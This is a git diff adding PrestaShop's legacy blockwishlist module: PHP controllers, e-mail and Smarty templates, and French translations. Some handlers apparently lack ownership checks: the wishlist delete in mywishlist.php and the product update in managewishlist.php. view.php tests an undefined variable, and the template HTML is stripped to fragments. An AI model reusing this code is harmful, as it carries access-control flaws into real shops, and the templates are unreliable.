        {shop_name} realised with PrestaShop™
        + + \ No newline at end of file diff --git a/modules/blockwishlist/mails/en/wishlink.txt b/modules/blockwishlist/mails/en/wishlink.txt new file mode 100755 index 0000000..584a563 --- /dev/null +++ b/modules/blockwishlist/mails/en/wishlink.txt @@ -0,0 +1,7 @@ +Hi, + +{shop_name} invites you to send this link to your friends, so they can see your wishlist {wishlist} : + +{message} + +{shop_url} realised by PrestaShopâ„¢ diff --git a/modules/blockwishlist/mails/en/wishlist.html b/modules/blockwishlist/mails/en/wishlist.html new file mode 100755 index 0000000..6d52374 --- /dev/null +++ b/modules/blockwishlist/mails/en/wishlist.html @@ -0,0 +1,40 @@ + + + + + Message from a customer of {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi,
         
        Message from {shop_name}
         
        {firstname} {lastname} indicated you may want to see his/her wishlist {wishlist} :

        {wishlist}
         
        {shop_name} Powered by PrestaShop™
        + + \ No newline at end of file diff --git a/modules/blockwishlist/mails/en/wishlist.txt b/modules/blockwishlist/mails/en/wishlist.txt new file mode 100755 index 0000000..bcfb620 --- /dev/null +++ b/modules/blockwishlist/mails/en/wishlist.txt @@ -0,0 +1,8 @@ +Hi, + +{firstname} {lastname} indicated you may want to see his/her wishlist {wishlist} : +{message} + + + +{shop_url} Powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/modules/blockwishlist/managewishlist.php b/modules/blockwishlist/managewishlist.php new file mode 100755 index 0000000..2a78abe --- /dev/null +++ b/modules/blockwishlist/managewishlist.php @@ -0,0 +1,119 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* SSL Management */ +$useSSL = true; + +require_once(dirname(__FILE__).'/../../config/config.inc.php'); +require_once(dirname(__FILE__).'/../../init.php'); +require_once(dirname(__FILE__).'/WishList.php'); +require_once(dirname(__FILE__).'/blockwishlist.php'); +$context = Context::getContext(); +if ($context->customer->isLogged()) +{ + $action = Tools::getValue('action'); + $id_wishlist = (int)Tools::getValue('id_wishlist'); + $id_product = (int)Tools::getValue('id_product'); + $id_product_attribute = (int)Tools::getValue('id_product_attribute'); + $quantity = (int)Tools::getValue('quantity'); + $priority = Tools::getValue('priority'); + $wishlist = new WishList((int)($id_wishlist)); + $refresh = (($_GET['refresh'] == 'true') ? 1 : 0); + if (empty($id_wishlist) === false) + { + if (!strcmp($action, 'update')) + { + WishList::updateProduct($id_wishlist, $id_product, $id_product_attribute, $priority, $quantity); + } + else + { + if (!strcmp($action, 'delete')) + WishList::removeProduct($id_wishlist, (int)$context->customer->id, $id_product, $id_product_attribute); + + $products = WishList::getProductByIdCustomer($id_wishlist, $context->customer->id, $context->language->id); + $bought = WishList::getBoughtProduct($id_wishlist); + + for ($i = 0; $i < sizeof($products); ++$i) + { + $obj = new Product((int)($products[$i]['id_product']), false, $context->language->id); + if (!Validate::isLoadedObject($obj)) + continue; + else + { + if ($products[$i]['id_product_attribute'] != 0) + { + $combination_imgs = $obj->getCombinationImages($context->language->id); + if (isset($combination_imgs[$products[$i]['id_product_attribute']][0])) + $products[$i]['cover'] = $obj->id.'-'.$combination_imgs[$products[$i]['id_product_attribute']][0]['id_image']; + } + else + { + $images = $obj->getImages($context->language->id); + foreach ($images AS $k => $image) + if ($image['cover']) + { + $products[$i]['cover'] = $obj->id.'-'.$image['id_image']; + break; + } + } + if (!isset($products[$i]['cover'])) + $products[$i]['cover'] = $context->language->iso_code.'-default'; + } + $products[$i]['bought'] = false; + for ($j = 0, $k = 0; $j < sizeof($bought); ++$j) + { + if ($bought[$j]['id_product'] == $products[$i]['id_product'] AND + $bought[$j]['id_product_attribute'] == $products[$i]['id_product_attribute']) + $products[$i]['bought'][$k++] = $bought[$j]; + } + } + + $productBoughts = array(); + + foreach ($products as $product) + if (sizeof($product['bought'])) + $productBoughts[] = $product; + $context->smarty->assign(array( + 'products' => $products, + 'productsBoughts' => $productBoughts, + 'id_wishlist' => $id_wishlist, + 'refresh' => $refresh, + 'token_wish' => $wishlist->token + )); + + // Instance of module class for translations + $module = new BlockWishList(); + + if (Tools::file_exists_cache(_PS_THEME_DIR_.'modules/blockwishlist/managewishlist.tpl')) + $context->smarty->display(_PS_THEME_DIR_.'modules/blockwishlist/managewishlist.tpl'); + elseif (Tools::file_exists_cache(dirname(__FILE__).'/managewishlist.tpl')) + $context->smarty->display(dirname(__FILE__).'/managewishlist.tpl'); + else + echo $module->l('No template found', 'managewishlist'); + } + } +} + diff --git a/modules/blockwishlist/managewishlist.tpl b/modules/blockwishlist/managewishlist.tpl new file mode 100755 index 0000000..396336e --- /dev/null +++ b/modules/blockwishlist/managewishlist.tpl @@ -0,0 +1,140 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $products} + {if !$refresh} +
        + + +

        Permalink :

        +

        + +

        + {/if} +
        + +
        + {if !$refresh} + + {if count($productsBoughts)} + + + + + + + {foreach from=$productsBoughts item=product name=i} + {foreach from=$product.bought item=bought name=j} + {if $bought.quantity > 0} + + + + + + + {/if} + {/foreach} + {/foreach} + + + {/if} + {/if} +{else} +

        {l s='No products' mod='blockwishlist'}

        +{/if} \ No newline at end of file diff --git a/modules/blockwishlist/my-account.tpl b/modules/blockwishlist/my-account.tpl new file mode 100755 index 0000000..8037b6f --- /dev/null +++ b/modules/blockwishlist/my-account.tpl @@ -0,0 +1,32 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
      • + + {l s='wishlist' mod='blockwishlist'} {l s='My wishlists' mod='blockwishlist'} + +
      • + \ No newline at end of file diff --git a/modules/blockwishlist/mywishlist.php b/modules/blockwishlist/mywishlist.php new file mode 100755 index 0000000..5cce773 --- /dev/null +++ b/modules/blockwishlist/mywishlist.php @@ -0,0 +1,113 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* SSL Management */ +$useSSL = true; + +include(dirname(__FILE__).'/../../config/config.inc.php'); +include(dirname(__FILE__).'/../../header.php'); +include_once(dirname(__FILE__).'/WishList.php'); + +$context = Context::getContext(); +$errors = array(); + +Tools::displayFileAsDeprecated(); + +// Instance of module class for translations +$module = new BlockWishList(); + +if ($context->customer->isLogged()) +{ + $add = Tools::getIsset('add'); + $add = (empty($add) === false ? 1 : 0); + $delete = Tools::getIsset('deleted'); + $delete = (empty($delete) === false ? 1 : 0); + $id_wishlist = Tools::getValue('id_wishlist'); + if (Tools::isSubmit('submitWishlist')) + { + if (Configuration::get('PS_TOKEN_ACTIVATED') == 1 AND + strcmp(Tools::getToken(), Tools::getValue('token'))) + $errors[] = $module->l('Invalid token', 'mywishlist'); + if (!sizeof($errors)) + { + $name = Tools::getValue('name'); + if (empty($name)) + $errors[] = $module->l('You must specify a name.', 'mywishlist'); + if (WishList::isExistsByNameForUser($name)) + $errors[] = $module->l('This name is already used by another list.', 'mywishlist'); + + if(!sizeof($errors)) + { + $wishlist = new WishList(); + $wishlist->name = $name; + $wishlist->id_customer = (int)$context->customer->id; + $wishlist->id_shop = $context->shop->id; + $wishlist->id_shop_group = $context->shop->id_shop_group; + list($us, $s) = explode(' ', microtime()); + srand($s * $us); + $wishlist->token = strtoupper(substr(sha1(uniqid(rand(), true)._COOKIE_KEY_.$context->customer->id), 0, 16)); + $wishlist->add(); + Mail::Send($context->language->id, 'wishlink', Mail::l('Your wishlist\'s link', $context->language->id), + array( + '{wishlist}' => $wishlist->name, + '{message}' => Tools::getProtocol().htmlentities($_SERVER['HTTP_HOST'], ENT_COMPAT, 'UTF-8').__PS_BASE_URI__.'modules/blockwishlist/view.php?token='.$wishlist->token), + $context->customer->email, $context->customer->firstname.' '.$context->customer->lastname, NULL, strval(Configuration::get('PS_SHOP_NAME')), NULL, NULL, dirname(__FILE__).'/mails/'); + } + } + } + else if ($add) + WishList::addCardToWishlist($context->customer->id, Tools::getValue('id_wishlist'), $context->language->id); + else if ($delete AND empty($id_wishlist) === false) + { + $wishlist = new WishList((int)($id_wishlist)); + if (Validate::isLoadedObject($wishlist)) + $wishlist->delete(); + else + $errors[] = $module->l('Cannot delete this wishlist', 'mywishlist'); + } + $context->smarty->assign('wishlists', WishList::getByIdCustomer($context->customer->id)); + $context->smarty->assign('nbProducts', WishList::getInfosByIdCustomer($context->customer->id)); +} +else +{ + Tools::redirect('index.php?controller=authentication&back=modules/blockwishlist/mywishlist.php'); +} + +$context->smarty->assign(array( + 'id_customer' => (int)$context->customer->id, + 'errors' => $errors +)); + +if (Tools::file_exists_cache(_PS_THEME_DIR_.'modules/blockwishlist/mywishlist.tpl')) + $context->smarty->display(_PS_THEME_DIR_.'modules/blockwishlist/mywishlist.tpl'); +elseif (Tools::file_exists_cache(dirname(__FILE__).'/views/templates/front/mywishlist.tpl')) + $context->smarty->display(dirname(__FILE__).'/views/templates/front/mywishlist.tpl'); +else + echo $module->l('No template found', 'mywishlist'); + +include(dirname(__FILE__).'/../../footer.php'); + + diff --git a/modules/blockwishlist/sendwishlist.php b/modules/blockwishlist/sendwishlist.php new file mode 100755 index 0000000..c0eb98c --- /dev/null +++ b/modules/blockwishlist/sendwishlist.php @@ -0,0 +1,69 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/../../config/config.inc.php'); +require_once(dirname(__FILE__).'/../../init.php'); +require_once(dirname(__FILE__).'/WishList.php'); +require_once(dirname(__FILE__).'/blockwishlist.php'); + +$context = Context::getContext(); + +// Instance of module class for translations +$module = new BlockWishList(); + +if (Configuration::get('PS_TOKEN_ENABLE') == 1 AND + strcmp(Tools::getToken(false), Tools::getValue('token')) AND + $context->customer->isLogged() === true) + exit($module->l('invalid token', 'sendwishlist')); + +if ($context->customer->isLogged()) +{ + $id_wishlist = (int)(Tools::getValue('id_wishlist')); + if (empty($id_wishlist) === true) + exit($module->l('Invalid wishlist', 'sendwishlist')); + for ($i = 1; empty($_POST['email'.strval($i)]) === false; ++$i) + { + $to = Tools::getValue('email'.$i); + $wishlist = WishList::exists($id_wishlist, $context->customer->id, true); + if ($wishlist === false) + exit($module->l('Invalid wishlist', 'sendwishlist')); + if (WishList::addEmail($id_wishlist, $to) === false) + exit($module->l('Wishlist send error', 'sendwishlist')); + $toName = strval(Configuration::get('PS_SHOP_NAME')); + $customer = $context->customer; + if (Validate::isLoadedObject($customer)) + Mail::Send( + $context->language->id, + 'wishlist', + sprintf(Mail::l('Message from %1$s %2$s', $context->language->id), $customer->lastname, $customer->firstname), + array( + '{lastname}' => $customer->lastname, + '{firstname}' => $customer->firstname, + '{wishlist}' => $wishlist['name'], + '{message}' => Tools::getProtocol().htmlentities($_SERVER['HTTP_HOST'], ENT_COMPAT, 'UTF-8').__PS_BASE_URI__.'modules/blockwishlist/view.php?token='.$wishlist['token']), + $to, $toName, $customer->email, $customer->firstname.' '.$customer->lastname, NULL, NULL, dirname(__FILE__).'/mails/'); + } +} diff --git a/modules/blockwishlist/translations/fr.php b/modules/blockwishlist/translations/fr.php new file mode 100755 index 0000000..ce00838 --- /dev/null +++ b/modules/blockwishlist/translations/fr.php @@ -0,0 +1,98 @@ +blockwishlist-ajax_4a84e5921e203aede886d04fc41a414b'] = 'Supprimer ce produit de ma liste'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist-ajax_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist-ajax_4b7d496eedb665d0b5f589f2f874e7cb'] = 'Détail du produit'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist-ajax_d037160cfb1fa5520563302d3a32630a'] = 'Vous devez créer une liste avant d\'ajouter un produit'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist-ajax_09dc02ecbb078868a3a86dded030076d'] = 'Aucun produit'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist-extra_15b94c64c4d5a4f7172e5347a36b94fd'] = 'Ajouter à ma liste'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_2715a65604e1af3d6933b61704865daf'] = 'Bloc liste de cadeaux'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_7244141a5de030c4c882556f4fd70a8b'] = 'Ajoute un bloc gérant les listes de cadeaux'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_9ae79c1fccd231ac7fbbf3235dbf6326'] = 'Ma liste de cadeaux'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_5ef2d617096ae7b47a83f3d4de9c84bd'] = 'Choix invalide pour l\'activation du module'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres enregistrés'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_56ee3495a32081ccb6d2376eab391bfa'] = 'Liste'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_e6d0e1c8fc6a4fcf47869df87e04cd88'] = 'Clients'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_e0fd9b310aba555f96e76738ff192ac3'] = 'Listes de cadeaux'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_deb10517653c255364175796ace3553f'] = 'Produit'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_694e8d1f2ee056f98ee488bdc4982d73'] = 'Quantité'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_502996d9790340c5fd7b86a5b93b1c9f'] = 'Priorité'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_655d20c1ca69519ca647684edbb2db35'] = 'Haute'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_87f8a6ab85c9ced3702b4ea641ad4bb5'] = 'Moyenne'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_28d0edd045e05cf5af64e35ae0c4c6ef'] = 'Basse'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_862af8838fba380d3b30e63546a394e5'] = 'n\'a pas de liste cadeaux'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_641254d77e7a473aa5910574f3f9453c'] = 'Liste de cadeaux'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_88b589bbf6282a2e02f50ebe90aae6f1'] = 'Vous devez être identifié pour gérer vos liste voeux'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_4a84e5921e203aede886d04fc41a414b'] = 'Enlever ce produit de ma liste'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_4b7d496eedb665d0b5f589f2f874e7cb'] = 'Détails produit'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_09dc02ecbb078868a3a86dded030076d'] = 'Aucun produit'; +$_MODULE['<{blockwishlist}prestashop>blockwishlist_7ec9cceb94985909c6994e95c31c1aa8'] = 'Mes listes'; +$_MODULE['<{blockwishlist}prestashop>buywishlistproduct_607e1d854783c8229998ac2b5b6923d3'] = 'Jeton non valable'; +$_MODULE['<{blockwishlist}prestashop>buywishlistproduct_b0ffc4925401f6f4edb038f5ca954937'] = 'Vous devez vous connecter'; +$_MODULE['<{blockwishlist}prestashop>cart_607e1d854783c8229998ac2b5b6923d3'] = 'Jeton non valable'; +$_MODULE['<{blockwishlist}prestashop>cart_a9839ad48cf107667f73bad1d651f2ca'] = 'Aucun template trouvé'; +$_MODULE['<{blockwishlist}prestashop>cart_16a23698e7cf5188ce1c07df74298076'] = 'Vous devez être connecté pour gérer votre liste de cadeaux'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_a9839ad48cf107667f73bad1d651f2ca'] = 'Aucun template trouvé'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_65a26fd603de62416ed333c7a8928713'] = 'Fermer'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_0ac1aeb2429db494dd42ad2dc219ca7e'] = 'Cacher les produits'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_0de9d09a36e820f9da7e87ab3678dd12'] = 'Afficher les produits'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_0bb3e067c0514f5ff2d5a8e45fc0f4be'] = 'Cacher les informations des produits achetés'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_6fe88f5681da397d46fefe19b3020a6a'] = 'Afficher les informations des produits achetés'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_30820a1bf6a285e45cda2beda3d7738d'] = 'Envoyer cette liste'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_4b7d496eedb665d0b5f589f2f874e7cb'] = 'Détails produit'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_694e8d1f2ee056f98ee488bdc4982d73'] = 'Quantité'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_502996d9790340c5fd7b86a5b93b1c9f'] = 'Priorité'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_655d20c1ca69519ca647684edbb2db35'] = 'Haute'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_87f8a6ab85c9ced3702b4ea641ad4bb5'] = 'Moyenne'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_28d0edd045e05cf5af64e35ae0c4c6ef'] = 'Basse'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'E-mail'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_94966d90747b97d1f0f206c98a8b1ac3'] = 'Envoyer'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_19f823c6453c2b1ffd09cb715214813d'] = 'Champ requis'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_deb10517653c255364175796ace3553f'] = 'Produit'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_3384622e86410fd01fa318fedc6a98ce'] = 'Offert par'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_44749712dbec183e983dcd78a7736c41'] = 'Date'; +$_MODULE['<{blockwishlist}prestashop>managewishlist_09dc02ecbb078868a3a86dded030076d'] = 'Aucun produits'; +$_MODULE['<{blockwishlist}prestashop>my-account_7ec9cceb94985909c6994e95c31c1aa8'] = 'Mes listes de cadeaux'; +$_MODULE['<{blockwishlist}prestashop>my-account_723edf7c24638ed18d2fa831e647a5cc'] = 'listecadeaux'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_607e1d854783c8229998ac2b5b6923d3'] = 'Jeton non valable'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_b30545c7b2d429352b9afdd85be810c7'] = 'Vous devez spécifier un nom.'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_b74c118d823d908d653cfbf1c877ae55'] = 'Ce nom est déjà utilisé pour une autre liste.'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_7098d49878bbd102b13038a748125e27'] = 'Impossible de supprimer cette liste de cadeaux.'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_a9839ad48cf107667f73bad1d651f2ca'] = 'Aucun template trouvé'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_d95cf4ab2cbf1dfb63f066b50558b07d'] = 'Mon compte'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_7ec9cceb94985909c6994e95c31c1aa8'] = 'Mes listes'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_06c335f27f292a096a9bf39e3a58e97b'] = 'Nouvelle liste'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_03ab340b3f99e03cff9e84314ead38c0'] = 'Qté'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_5e729042e30967c9d6f65c6eab73e2fe'] = 'Vues'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_0eceeb45861f9585dd7a97a3e36f85c6'] = 'Créée'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_45284ef16392f85ff424b2ef36ab5948'] = 'Lien direct'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_4351cfebe4b61d8aa5efa1d020710005'] = 'Voir'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_d025259319054206be54336a00defe89'] = 'Souhaitez-vous réellement supprimer cette liste ?'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_0b3db27bc15f682e92ff250ebb167d4b'] = 'Retour à votre compte'; +$_MODULE['<{blockwishlist}prestashop>mywishlist_8cf04a9734132302f96da8e113e80ce5'] = 'Accueil'; +$_MODULE['<{blockwishlist}prestashop>sendwishlist_8f4be21ec3cfbba15a349e9c5e888579'] = 'Jeton non valable'; +$_MODULE['<{blockwishlist}prestashop>sendwishlist_90d8a44a1fba13198035d86caeeb2d4d'] = 'Liste de cadeaux invalide'; +$_MODULE['<{blockwishlist}prestashop>sendwishlist_072df51ea0cb142b770d6209dab5a85b'] = 'Erreur d\'envoi de liste de cadeaux'; +$_MODULE['<{blockwishlist}prestashop>view_7cff73659ca47fea5d29644da84f35e2'] = 'Jeton non valable'; +$_MODULE['<{blockwishlist}prestashop>view_a9839ad48cf107667f73bad1d651f2ca'] = 'Aucun template trouvé'; +$_MODULE['<{blockwishlist}prestashop>view_641254d77e7a473aa5910574f3f9453c'] = 'Liste de cadeaux'; +$_MODULE['<{blockwishlist}prestashop>view_9862d189193590487b2686b1c9043714'] = 'Autres listes de'; +$_MODULE['<{blockwishlist}prestashop>view_3d01e7d8174b6a9b088b44870714cf07'] = 'Bienvenue sur la liste de'; +$_MODULE['<{blockwishlist}prestashop>view_4351cfebe4b61d8aa5efa1d020710005'] = 'Voir'; +$_MODULE['<{blockwishlist}prestashop>view_4b7d496eedb665d0b5f589f2f874e7cb'] = 'Détail produit'; +$_MODULE['<{blockwishlist}prestashop>view_3d0d1f906e27800531e054a3b6787b7c'] = 'Quantité :'; +$_MODULE['<{blockwishlist}prestashop>view_05f32f85cccc8308d09a81e7bad3f80e'] = 'Priorité :'; +$_MODULE['<{blockwishlist}prestashop>view_655d20c1ca69519ca647684edbb2db35'] = 'Haute'; +$_MODULE['<{blockwishlist}prestashop>view_87f8a6ab85c9ced3702b4ea641ad4bb5'] = 'Moyenne'; +$_MODULE['<{blockwishlist}prestashop>view_28d0edd045e05cf5af64e35ae0c4c6ef'] = 'Basse'; +$_MODULE['<{blockwishlist}prestashop>view_2d0f6b8300be19cf35e89e66f0677f95'] = 'Ajouter au panier'; +$_MODULE['<{blockwishlist}prestashop>view_09dc02ecbb078868a3a86dded030076d'] = 'Aucun produit'; diff --git a/modules/blockwishlist/translations/index.php b/modules/blockwishlist/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockwishlist/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockwishlist/view.php b/modules/blockwishlist/view.php new file mode 100755 index 0000000..6954620 --- /dev/null +++ b/modules/blockwishlist/view.php @@ -0,0 +1,92 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* SSL Management */ +$useSSL = true; + +require_once(dirname(__FILE__).'/../../config/config.inc.php'); +require_once(dirname(__FILE__).'/../../header.php'); +require_once(dirname(__FILE__).'/WishList.php'); + +$context = Context::getContext(); +$token = Tools::getValue('token'); + +// Instance of module class for translations +$module = new BlockWishList(); + +if (empty($token) === false) +{ + $wishlist = WishList::getByToken($token); + if (empty($result) === true || $result === false) + $errors[] = $module->l('Invalid wishlist token', 'view'); + WishList::refreshWishList($wishlist['id_wishlist']); + $products = WishList::getProductByIdCustomer((int)($wishlist['id_wishlist']), (int)($wishlist['id_customer']), $context->language->id, null, true); + for ($i = 0; $i < sizeof($products); ++$i) + { + $obj = new Product($products[$i]['id_product'], false, $context->language->id); + if (!Validate::isLoadedObject($obj)) + continue; + else + { + if ($products[$i]['id_product_attribute'] != 0 && isset($combination_imgs[$products[$i]['id_product_attribute']][0])) + { + $combination_imgs = $obj->getCombinationImages($context->language->id); + $products[$i]['cover'] = $obj->id.'-'.$combination_imgs[$products[$i]['id_product_attribute']][0]['id_image']; + } + else + { + $images = $obj->getImages($context->language->id); + foreach ($images AS $k => $image) + { + if ($image['cover']) + { + $products[$i]['cover'] = $obj->id.'-'.$image['id_image']; + break; + } + } + if (!isset($products[$i]['cover'])) + $products[$i]['cover'] = $context->language->iso_code.'-default'; + } + } + } + WishList::incCounter((int)($wishlist['id_wishlist'])); + $ajax = Configuration::get('PS_BLOCK_CART_AJAX'); + $context->smarty->assign(array ( + 'current_wishlist' => $wishlist, + 'token' => $token, + 'ajax' => ((isset($ajax) AND (int)($ajax) == 1) ? '1' : '0'), + 'wishlists' => WishList::getByIdCustomer((int)($wishlist['id_customer'])), + 'products' => $products)); +} + +if (Tools::file_exists_cache(_PS_THEME_DIR_.'modules/blockwishlist/view.tpl')) + $context->smarty->display(_PS_THEME_DIR_.'modules/blockwishlist/view.tpl'); +elseif (Tools::file_exists_cache(dirname(__FILE__).'/view.tpl')) + $context->smarty->display(dirname(__FILE__).'/view.tpl'); +else + echo $module->l('No template found', 'view'); + +require(dirname(__FILE__).'/../../footer.php'); diff --git a/modules/blockwishlist/view.tpl b/modules/blockwishlist/view.tpl new file mode 100755 index 0000000..afad6c1 --- /dev/null +++ b/modules/blockwishlist/view.tpl @@ -0,0 +1,95 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        +

        {l s='Wishlist' mod='blockwishlist'}

        +{if $wishlists} +

        + {l s='Other wishlists of' mod='blockwishlist'} {$current_wishlist.firstname} {$current_wishlist.lastname}: + {foreach from=$wishlists item=wishlist name=i} + {if $wishlist.id_wishlist != $current_wishlist.id_wishlist} + {$wishlist.name} + {if !$smarty.foreach.i.last} + / + {/if} + {/if} + {/foreach} +

        +{/if} +{if $products} + +{else} +

        {l s='No products' mod='blockwishlist'}

        +{/if} +
